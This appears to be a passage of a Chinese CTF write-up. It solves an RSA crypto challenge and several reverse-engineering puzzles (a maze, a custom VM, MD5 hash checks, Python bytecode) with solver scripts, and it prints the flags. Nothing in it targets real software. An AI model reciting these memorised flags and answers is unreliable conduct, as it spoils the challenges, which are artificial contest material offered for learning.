8002511426596424351829267099531651390448054153452321185350746845306277585856673898048740413439442356860630765545600353049345324913056448174487017235828857
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import binascii
import gmpy2
e=65537
c=91507581287268678382704102499829526115486105502321675954617344102253738157075000438078155655317661988277710347178352070963528948558320623410799852584156693215831487103699955781123962661928296191496664400110250226880815518273669335738236882265242192523589233915770596106654695524214247405913652100286077779879

p=8002511426596424351829267099531651390448054153452321185350746845306277585856673898048740413439442356860630765545600353049345324913056448174487017235828857

q=12026655772210679470465581609002525329245773732132014742758935511187863487919026457076252932048619706498126046597130520643092209728783224795661331197604583

n=96243450240857806115238914653506374834158356404896678232436489539707298295146186648624902266701807464050422276455558857632550580505372438110295219068694716543405451731421295141483526834359885726239165055762244236514323454493819119702277996194317762001574226999676509936070746434926789755115528628440946851631

phi=(p-1)*(q-1)
d=gmpy2.invert(e,phi)
m=pow(c,d,n)
print(hex(m))
print(binascii.unhexlify(hex(m)[2:].strip("L")))

得到flagctf{Rsa_1s_So_Easy!!!}

REVERSE

捉迷藏

得到flagctf{We1c0me_70_R3_wor!d}

正道的光

迷宫题

先将迷宫dump出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|||||||||||||||
|||||||||||||||
|||||||||||||||
||s..........||
||||||||||||.||
|d.|||||||||.||
||.|||||||||.||
||.|||||||||.||
||...........||
|||||||||||||||
1
ddddddddddsssssaaaaaaaaaawwwa
|||||||||||||||||||
||s|||||||||||||d||
||..|||||||||||..||
|||..|||||||||..|||
||||..|||||||..||||
|||||..|||||..|||||
||||||..|||..||||||
|||||||..|..|||||||
||||||||...||||||||
|||||||||||||||||||
2
sdsdsdsdsdsdsddwdwdwdwdwdwdw
|||||||||||||||
||.........s|||
||.||||||||||||
||.||||||||||||
||.||||||||||||
||.||||||||||||
||.........d|||
|||||||||||||||
|||||||||||||||
|||||||||||||||
|||||||||||||||
3
aaaaaaaaasssssddddddddd
|||||||||||||||
|||||||||||||||
|||...|||....||
|||.|.|||.||.||
|||.|.....||.||
|||.||||||||.||
|||.||||||||.||
|||s||||||||.d|
|||||||||||||||
4
wwwwwddssddddwwdddsssssd

check_flag函数中,有两个axis数组

1
2
v6 = axis[2 * (a2 - 1)];
v7 = axis[2 * (a2 - 1) + 1];

两个axis数组中保存了迷宫的起点位置

wsad分别对应上下左右

s为起点,d为终点

因此可以得出迷宫的解迷路径

main函数中

断点处为关键判断逻辑,断点处确定了先走哪一个迷宫,由走迷宫所需的路径长度确定

step数组的值分别为0x1c 0x1d 0x18 0x17,分别对应一个迷宫

得到flagctf{2143-sdsdsdsdsdsdsddwdwdwdwdwdwdw-ddddddddddsssssaaaaaaaaaawwwa-wwwwwddssddddwwdddsssssd-aaaaaaaaasssssddddddddd}

easy_vm

check函数提示为fake_cmp,因此需要寻找real_cmp

real_cmpfake_cmp上面

1
2
3
4
5
6
7
unsigned char true_cmp [] =
{
71, 67, 69, 66, 20, 13, 51, 95, 214, 201,
174, 229, 30, 75, 219, 95, 51, 64, 95, 121,
115, 49, 101, 0, 0, 0, 0, 0, 0, 0,
0, 0
};

vmrun函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__int64 __fastcall vm_run(__int64 a1)
{
char v1; // ST1B_1
int i; // [rsp+1Ch] [rbp-4h]

v1 = **(a1 + 32); // a1[4][0](opcode[0])
while ( **(a1 + 32) != 0xA6u ) // a1[4]所指向的值,即当前的opcode
{
for ( i = 0; **(a1 + 32) != *(8LL * (i + 5) + a1); ++i )// cmp a1[4][0](opcode[0]) a1[i+5]
;
(*(8 * (i + 5 + 6LL) + a1))(a1); // call a1[i+11]
}
return 0LL;
}

input函数

1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 __fastcall input(__int64 a1)
{
printf("Please input something:");
__isoc99_scanf("%s", userinput);
length = strlen(userinput);
if ( length != 25 && length != 23 ) // 由real_cmp推测长度为23
{
puts("Wrong!");
exit(0);
}
++*(a1 + 32); // a1[4]->a1[4][1](opcode[1])
return 0LL;
}

init函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__int64 __fastcall init(_QWORD *a1)
{
*a1 = 0LL;
a1[1] = 0x18LL;
a1[2] = 0LL;
a1[3] = 0LL;
a1[4] = &opcode;
a1[5] = 0xA1LL;
a1[6] = 0xA2LL;
a1[7] = 0xA3LL;
a1[8] = 0xA4LL;
a1[9] = 0xA5LL;
a1[10] = 0xA7LL;
a1[11] = swap;
a1[12] = myxor;
a1[13] = input;
a1[14] = myswitch;
a1[15] = calc1;
a1[16] = calc2;
return 0LL;
}

在opcode中存在两段数值,取第一段数值会进入到错误的flag中,因此取第二段数值,在动态调试时将rdx的值从55EA2A09D080修改为55EA2A09D15F即第二段数值的起点

由opcode分析加上动态调试,可知程序的加密逻辑为

第一部分

1
2
3
4
5
6
7
input[0]^=input[1]
input[1]^=input[2]
input[2]^=input[3]
input[3]^=input[4]
input[4]^=input[5]
input[5]^=input[6]
input[6]^=input[7]

第二部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
a[0]=input[8]
a[1]=input[9]
a[2]=input[10]
a[3]=input[11]
a[0]=2*a[3]+a[0]+2*a[1]-3*a[2]
input[0x20]=a[0]

a[0]=input[9]
a[1]=input[10]
a[2]=input[11]
a[3]=input[8]
a[0]=2*a[3]+a[0]+2*a[1]-3*a[2]
input[0x21]=a[0]

a[0]=input[10]
a[1]=input[11]
a[2]=input[8]
a[3]=input[9]
a[0]=2*a[3]+a[0]+2*a[1]-3*a[2]
input[0x22]=a[0]

a[0]=input[11]
a[1]=input[8]
a[2]=input[9]
a[3]=input[10]
a[0]=2*a[3]+a[0]+2*a[1]-3*a[2]
input[0x23]=a[0]

input[8]=input[0x20]
input[9]=input[0x21]
input[10]=input[0x22]
input[11]=input[0x23]

第三部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
a[0]=input[0xc]
a[1]=input[0xd]
a[2]=input[0xe]
a[0]=a[0]-2*a[1]+3*a[2]
input[0x24]=a[0]

a[0]=input[0xd]
a[1]=input[0xe]
a[2]=input[0xc]
a[0]=a[0]-2*a[1]+3*a[2]
input[0x25]=a[0]

a[0]=input[0xe]
a[1]=input[0xc]
a[2]=input[0xd]
a[0]=a[0]-2*a[1]+3*a[2]
input[0x26]=a[0]

input[0xc]=input[0x24]
input[0xd]=input[0x25]
input[0xe]=input[0x26]

第四部分

1
2
3
swap(input[0x10],input[0x15])
swap(input[0x11],input[0x14])
swap(input[0x13],input[0x16])
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
fake_cmp=[108, 123, 99, 126, 76, 112, 113, 107, 121, 113, 107, 71, 126, 71, 115, 125, 71, 126, 116, 121, 127, 42, 43, 43, 101]
print(len(fake_cmp))
real_cmp=[71, 67, 69, 66, 20, 13, 51, 95, 214, 201, 174, 229, 30, 75, 219, 95, 51, 64, 95, 121, 115, 49, 101]
print(len(real_cmp))
#fake_cmp: l{c~LpqkyqkG~Gs}G~ty*++e
#real_cmp: 3_ÖÉ®åKÛ_3@_ys1e

opcode=[163, 164, 225, 0, 162, 164, 229, 32, 164, 225, 1, 162, 164, 229, 33, 164, 225, 2, 162, 164, 229, 34, 164, 225, 3, 162, 164, 229, 35, 164, 225, 4, 162, 164, 229, 36, 164, 225, 5, 162, 164, 229, 37, 164, 225, 6, 162, 164, 229, 38, 164, 225, 7, 162, 164, 229, 39, 164, 225, 8, 162, 164, 229, 40, 164, 225, 9, 162, 164, 229, 41, 164, 225, 10, 162, 164, 229, 42, 164, 225, 11, 162, 164, 229, 43, 164, 225, 12, 162, 164, 229, 44, 164, 225, 13, 162, 164, 229, 45, 164, 225, 14, 162, 164, 229, 46, 164, 225, 15, 162, 164, 229, 47, 164, 225, 16, 162, 164, 229, 48, 164, 225, 17, 162, 164, 229, 49, 164, 225, 18, 162, 164, 229, 50, 164, 225, 19, 162, 164, 229, 51, 164, 225, 20, 162, 164, 229, 52, 164, 225, 21, 162, 164, 229, 53, 164, 225, 22, 162, 164, 229, 54, 164, 225, 23, 162, 164, 229, 55, 164, 225, 24, 162, 164, 229, 56, 164, 225, 32, 164, 226, 33, 161, 164, 229, 32, 164, 230, 33, 164, 225, 34, 164, 226, 35, 161, 164, 229, 34, 164, 230, 35, 164, 225, 40, 164, 226, 45, 161, 164, 229, 40, 164, 230, 45, 166, 0, 0, 0, 0, 0, 0, 0, 163, 164, 225, 0, 164, 226, 1, 162, 164, 229, 0, 164, 225, 1, 164, 226, 2, 162, 164, 229, 1, 164, 225, 2, 164, 226, 3, 162, 164, 229, 2, 164, 225, 3, 164, 226, 4, 162, 164, 229, 3, 164, 225, 4, 164, 226, 5, 162, 164, 229, 4, 164, 225, 5, 164, 226, 6, 162, 164, 229, 5, 164, 225, 6, 164, 226, 7, 162, 164, 229, 6, 164, 225, 8, 164, 226, 9, 164, 227, 10, 164, 228, 11, 165, 164, 229, 32, 164, 225, 9, 164, 226, 10, 164, 227, 11, 164, 228, 8, 165, 164, 229, 33, 164, 225, 10, 164, 226, 11, 164, 227, 8, 164, 228, 9, 165, 164, 229, 34, 164, 225, 11, 164, 226, 8, 164, 227, 9, 164, 228, 10, 165, 164, 229, 35, 164, 225, 32, 164, 229, 8, 164, 225, 33, 164, 229, 9, 164, 225, 34, 164, 229, 10, 164, 225, 35, 164, 229, 11, 164, 225, 12, 164, 226, 13, 164, 227, 14, 167, 164, 229, 36, 164, 225, 13, 164, 226, 14, 164, 227, 12, 167, 164, 229, 37, 164, 225, 14, 164, 226, 12, 164, 227, 13, 167, 164, 229, 38, 164, 225, 36, 164, 229, 12, 164, 225, 37, 164, 229, 13, 164, 225, 38, 164, 229, 14, 164, 225, 16, 164, 226, 21, 161, 164, 229, 16, 164, 230, 21, 164, 225, 17, 164, 226, 20, 161, 164, 229, 17, 164, 230, 20, 164, 225, 19, 164, 226, 22, 161, 164, 229, 19, 164, 230, 22, 166, 0]
#print(opcode)

'''
first part change

input[0x20~0x36]=chr(ord('*')^0b11000) * is input

.data:000055F4EE0A2121 db 36h
.data:000055F4EE0A2122 db 0A4h
'''

a=[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 108, 123, 99, 126, 76, 112, 113, 107, 121, 113, 107, 71, 126, 71, 115, 125, 71, 126, 116, 121, 127, 42, 43, 43, 101]
a[0x20],a[0x21]=a[0x21],a[0x20]
a[0x22],a[0x23]=a[0x23],a[0x22]
a[0x28],a[0x2D]=a[0x2D],a[0x28]
print(a)
b=[123, 108, 126, 99, 76, 112, 113, 107, 71, 113, 107, 71, 126, 121, 115, 125, 71, 126, 116, 121, 127, 42, 43, 43, 101]
for i in b:
for j in range(128):
if j^0b11000==i:
print(chr(j),end="")

'''
.data:000055F4EE0A215F
.data:000055F4EE0A2080
'''
print()
a=[71, 67, 69, 66, 20, 13, 51, 95, 214, 201, 174, 229, 30, 75, 219, 95, 51, 64, 95, 121, 115, 49, 101]
a[0x13],a[0x16]=a[0x16],a[0x13]
a[0x11],a[0x14]=a[0x14],a[0x11]
a[0x10],a[0x15]=a[0x15],a[0x10]
for i in range(128):
for j in range(128):
for k in range(128):
t1=i-2*j+3*k
t2=j-2*k+3*i
t3=k-2*i+3*j
if t1==a[0xc] and t2==a[0xd] and t3==a[0xe]:
a[0xc],a[0xd],a[0xe]=i,j,k
break
for i in range(128):
for j in range(128):
for k in range(128):
for l in range(128):
t1=2*l+i+2*j-3*k
t2=2*i+j+2*k-3*l
t3=2*j+k+2*l-3*i
t4=2*k+l+2*i-3*j
if t1==a[8] and t2==a[9] and t3==a[10] and t4==a[11]:
a[8],a[9],a[10],a[11]=i,j,k,l
break
a[6]^=a[7]
a[5]^=a[6]
a[4]^=a[5]
a[3]^=a[4]
a[2]^=a[3]
a[1]^=a[2]
a[0]^=a[1]

for i in a:
print(chr(i),end="")

得到flagctf{v1r7ual_mach!N3_1s_e@3y}

basic_hash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
int __cdecl main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+4h] [rbp-10Ch]
int j; // [rsp+4h] [rbp-10Ch]
char *s2; // [rsp+8h] [rbp-108h]
char *s2a; // [rsp+8h] [rbp-108h]
char src; // [rsp+10h] [rbp-100h]
char v9; // [rsp+20h] [rbp-F0h]
char v10; // [rsp+21h] [rbp-EFh]
char v11; // [rsp+22h] [rbp-EEh]
char v12; // [rsp+23h] [rbp-EDh]
char v13; // [rsp+24h] [rbp-ECh]
char v14; // [rsp+25h] [rbp-EBh]
char v15; // [rsp+26h] [rbp-EAh]
char v16; // [rsp+27h] [rbp-E9h]
char v17; // [rsp+28h] [rbp-E8h]
char v18; // [rsp+29h] [rbp-E7h]
char v19; // [rsp+2Ah] [rbp-E6h]
char v20; // [rsp+2Bh] [rbp-E5h]
char v21; // [rsp+2Ch] [rbp-E4h]
char v22; // [rsp+2Dh] [rbp-E3h]
char v23; // [rsp+2Eh] [rbp-E2h]
char v24; // [rsp+2Fh] [rbp-E1h]
char v25; // [rsp+30h] [rbp-E0h]
char v26; // [rsp+40h] [rbp-D0h]
char v27; // [rsp+41h] [rbp-CFh]
char v28; // [rsp+42h] [rbp-CEh]
char v29; // [rsp+43h] [rbp-CDh]
char v30; // [rsp+44h] [rbp-CCh]
char v31; // [rsp+45h] [rbp-CBh]
char v32; // [rsp+46h] [rbp-CAh]
char v33; // [rsp+47h] [rbp-C9h]
char v34; // [rsp+48h] [rbp-C8h]
char v35; // [rsp+49h] [rbp-C7h]
char v36; // [rsp+4Ah] [rbp-C6h]
char v37; // [rsp+4Bh] [rbp-C5h]
char v38; // [rsp+4Ch] [rbp-C4h]
char v39; // [rsp+4Dh] [rbp-C3h]
char v40; // [rsp+4Eh] [rbp-C2h]
char v41; // [rsp+4Fh] [rbp-C1h]
char v42; // [rsp+50h] [rbp-C0h]
char v43; // [rsp+60h] [rbp-B0h]
char v44; // [rsp+80h] [rbp-90h]
char s; // [rsp+A0h] [rbp-70h]
char dest; // [rsp+D0h] [rbp-40h]
unsigned __int64 v47; // [rsp+F8h] [rbp-18h]

v47 = __readfsqword(0x28u);
memset(&s, 0, 0x21uLL);
memset(&dest, 0, 0x21uLL);
v9 = 70;
v10 = -121;
v11 = -115;
v12 = 4;
v13 = -67;
v14 = 52;
v15 = 126;
v16 = 42;
v17 = 113;
v18 = 114;
v19 = 79;
v20 = 91;
v21 = -61;
v22 = -63;
v23 = 6;
v24 = -14;
v25 = 0;
v26 = 59;
v27 = -87;
v28 = 103;
v29 = -122;
v30 = -46;
v31 = -112;
v32 = 104;
v33 = -30;
v34 = -92;
v35 = 113;
v36 = 125;
v37 = -85;
v38 = -14;
v39 = 41;
v40 = -24;
v41 = 31;
v42 = 0;
puts("Welcome!");
printf("%s", "Your input1:");
__isoc99_scanf("%s", &v43);
s2 = (char *)getMd5(&v43);
for ( i = 0; i < strlen(&v9); ++i ) // v9~v24为一个数组
{
*(&v9 + i) ^= 0x30u; // 数组中的逐个元素进行异或,在跟输入的字符串的md5进行比较
sprintf(&src, "%02x", (unsigned __int8)*(&v9 + i));// sprintf为格式化字符串将10进制转换为0xFF的形式
strcat(&s, &src);
}
if ( strcmp(&s, s2) )
{
puts("Wrong!");
free(s2);
exit(0);
}
puts("Good!");
printf("%s", "Your input2:");
__isoc99_scanf("%s", &v44);
s2a = (char *)getMd5(&v44);
for ( j = 0; j < strlen(&v26); ++j ) // v26~v41为一个数组
{
*(&v26 + j) ^= 0x20u; // 数组中的逐个元素进行异或,在跟输入的字符串的md5进行比较
sprintf(&src, "%02x", (unsigned __int8)*(&v26 + j));
strcat(&dest, &src);
}
if ( !strcmp(&dest, s2a) )
{
puts("congratulation!");
puts("flag: ctf{input1+input2}");
}
else
{
puts("Wrong!");
}
free(s2a);
return 0;
}
1
2
3
4
5
6
7
8
a=[70,135,141,4,189,52,126,42,113,114,79,91,195,193,6,242]
b=[59,169,103,134,210,144,104,226,164,113,125,171,242,41,232,31]

for i in a:
print(hex(i^0x30)[2:].zfill(2),end="")
print()
for i in b:
print(hex(i^0x20)[2:].zfill(2),end="")

得到两串md5,去反查

得到flagctf{zyggyyds}

ByteCode

python字节码

逻辑是逐个字符进行一定运算后与某个数字进行比较

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
print(chr(10^105),end="")
print(chr(126-10),end="")
print(chr(3*34),end="")
print(chr(138-15),end="")
print(chr(23^109),end="")
print(chr(11*11),end="")
print(chr(103),end="")
print(chr(18^117),end="")
print(chr(855//9),end="")
print(chr(232-111),end="")
print(chr(2783//23),end="")
print(chr(100),end="")
print(chr(5*23),end="")
print(chr(95),end="")
print(chr(39^67),end="")
print(chr(59^95),end="")
print(chr(50+50),end="")
print(chr(150-50),end="")
print(chr(2*52),end="")
print(chr(9+100),end="")
print(chr(66^63),end="")

得到flagctf{zygg_yyds_ddddhm}

总结

  1. 我在pwn方面果然是个fw(一道pwn都没做出来,给pwn爷爷磕头)

  2. 逆向题的数量给得有点少,基础的脱壳和去花都没出现…

  3. misc题感觉大部分出在图片类上面了,文件流呢,压缩包呢,音频流呢…

  4. 灵魂发问:去年的钱为啥还没到(逃ε=ε=ε=┏(゜ロ゜;)┛